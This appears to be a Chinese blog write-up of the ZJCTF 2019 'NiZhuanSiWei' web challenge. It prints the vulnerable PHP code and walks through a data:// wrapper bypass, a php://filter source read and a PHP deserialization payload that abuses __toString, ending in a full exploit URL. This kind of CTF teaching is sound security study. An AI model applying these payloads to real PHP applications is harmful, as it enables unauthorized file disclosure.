首页 > 其他分享 >【ZJCTF 2019】NiZhuanSiWei

【ZJCTF 2019】NiZhuanSiWei

时间:2023-10-23 10:13:49浏览次数:32  
标签:__ get ZJCTF text echo NiZhuanSiWei 2019 file password

[ZJCTF 2019]NiZhuanSiWei

收获

  • file_get_contents绕过
  • include联想伪协议
  • 熟悉__tostring魔术方法的使用

题目

  • 代码:

     <?php  
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        highlight_file(__FILE__);
    }
    ?> 
    

    首先看要进入if,我们需要使得$text文件对应的内容为‘welcome to the zjctf’。如何实现呢,因为file_get_content函数其实是读取一个文件流,那么我们可以使用data伪协议来构造数据流,payload:

    /?text=data:text/plain,welcome to the zjctf
    
  • 读文件:

    这里包含了$file变量,那么首先应该根据提示查看一下useless.php的内容,我们使用php伪协议进行读取,并且使用base64解码:

    <?php  
    
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>
    
  • 反序列化:

    本来一直在纠结怎么触发__tostring方法,后来突然看到echo $password,那直接秒了:

    <?php  
    
    class Flag{   
        public $file="flag";  
    }
    $a=new Flag();
    echo serialize($a);
    ?>
    
  • Last:

    payload:

    ?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:4:"flag";}
    

    F12查看网页源码就可以。

标签:__,get,ZJCTF,text,echo,NiZhuanSiWei,2019,file,password
From: https://www.cnblogs.com/capz/p/17781776.html

相关文章

  • ABB AC900F学习笔记327:WINCC7.5SP2作为OPC SERVER,freelance2019SP2作为OPCC LIENT练习
    这一篇博客我在新浪博客记录过,地址是 ABBAC900F学习笔记327:WINCC7.5SP2作为OPCSERVER,freelance2019SP2作为OPCCLIENT练习_来自金沙江的小鱼_新浪博客(sina.com.cn)为了避免丢失,我在这里再次记录一遍今天做一个练习,WINCC7.5SP2作为OPCSERVER,freelance2019SP2作为OPCCLIENT。......
  • ABBAC900F学习笔记326:freelance2019SP1作为OPC DA SERVER,WINCC7.5SP2作为OPC DA CLIEN
    昨天练习了ABB的OPCDA通过寻,在同一台计算机上实验的。今天测试局域网上freelance2019SP1作为OPCDASERVER,WINCC7.5SP2作为OPCDACLIENT通讯。测试在昨天的ABB练习程序基础上进行。1.freelance2019SP1作为OPCDASERVER,配置DCOM,参考前面WINCC作为DASERVER的配置方法WINDO......
  • [极客大挑战 2019]FinalSQL
    参考文章:https://blog.csdn.net/qq_60829702/article/details/127445276https://blog.csdn.net/wp568/article/details/132513988......
  • ABBAC900F学习笔记325:FREELANCE2019SP1的OPC练习1
    这一篇博客我爱新浪博客发表过,地址是ABBAC900F学习笔记325:FREELANCE2019SP1的OPC练习1_来自金沙江的小鱼_新浪博客(sina.com.cn)我在这里也记录一遍今天在家做一下freelance2019SP1的OPC通讯练习。新建一个freelance项目,插入硬件和软件、OPC网关、OS等,按照以前的练习配置资源......
  • [CISCN 2019 初赛]Love Math
    原理解题过程首先进入靶场,有代码让我们审计<?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){show_source(__FILE__);//如果没有传递c,则高亮显示代码}else{//例子c=20-1$content=$_GET['c'];i......
  • 升级Lync Server 2013到Skype for Business 2019(十七)
    写在前面当用户帐户移动到SkypeforBusinessServer2019服务器时,以下信息将随该用户帐户一起移动:用户已安排会议。这包括移动会议目录和会议数据。用户的个人识别号(PIN)。用户的当前PIN将继续工作,直到其过期或用户请求新的PIN为止。以下用户帐户信息不会移动到新服务器:会议内容。......
  • vs2019设置添加类和接口自动添加作者信息
    参考:https://www.cnblogs.com/minuhy/p/14058721.html 一、找到VisualStudio2019安装目录如我的:D:\ProgramFiles(x86)\MicrosoftVisualStudio\2019\Community\Common7\IDE\ItemTemplates\CSharp\Code\2052二、修改类模板文件 #region<<版本注释>>/*---......
  • P5987 [PA2019] Terytoria / 2023NOIP A层联测13 T3 全球覆盖
    P5987[PA2019]Terytoria/2023NOIPA层联测13T3全球覆盖题面及数据范围对于一个点对,可以降维为线段,转化为1维的问题。如图:我们可以在横着的方向和竖着的方向个选择一种颜色的线段,任意一种选择可以构成一个合法的矩形。我们需要求最大重叠面积,可以转化为两个一维的求......
  • [CSP-J2019] 加工零件
    题目描述凯凯的工厂正在有条不紊地生产一种神奇的零件,神奇的零件的生产过程自然也很神奇。工厂里有\(n\)位工人,工人们从\(1\simn\)编号。某些工人之间存在双向的零件传送带。保证每两名工人之间最多只存在一条传送带。如果\(x\)号工人想生产一个被加工到第\(L(L\gt1......
  • Windows Server 2019 OVF, updated Oct 2023 (sysin) - VMware 虚拟机模板
    WindowsServer2019OVF,updatedOct2023(sysin)-VMware虚拟机模板2023年10月版本更新,现在自动运行sysprep,支持ESXiHostClient部署请访问原文链接:https://sysin.org/blog/windows-server-2019-ovf/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgWind......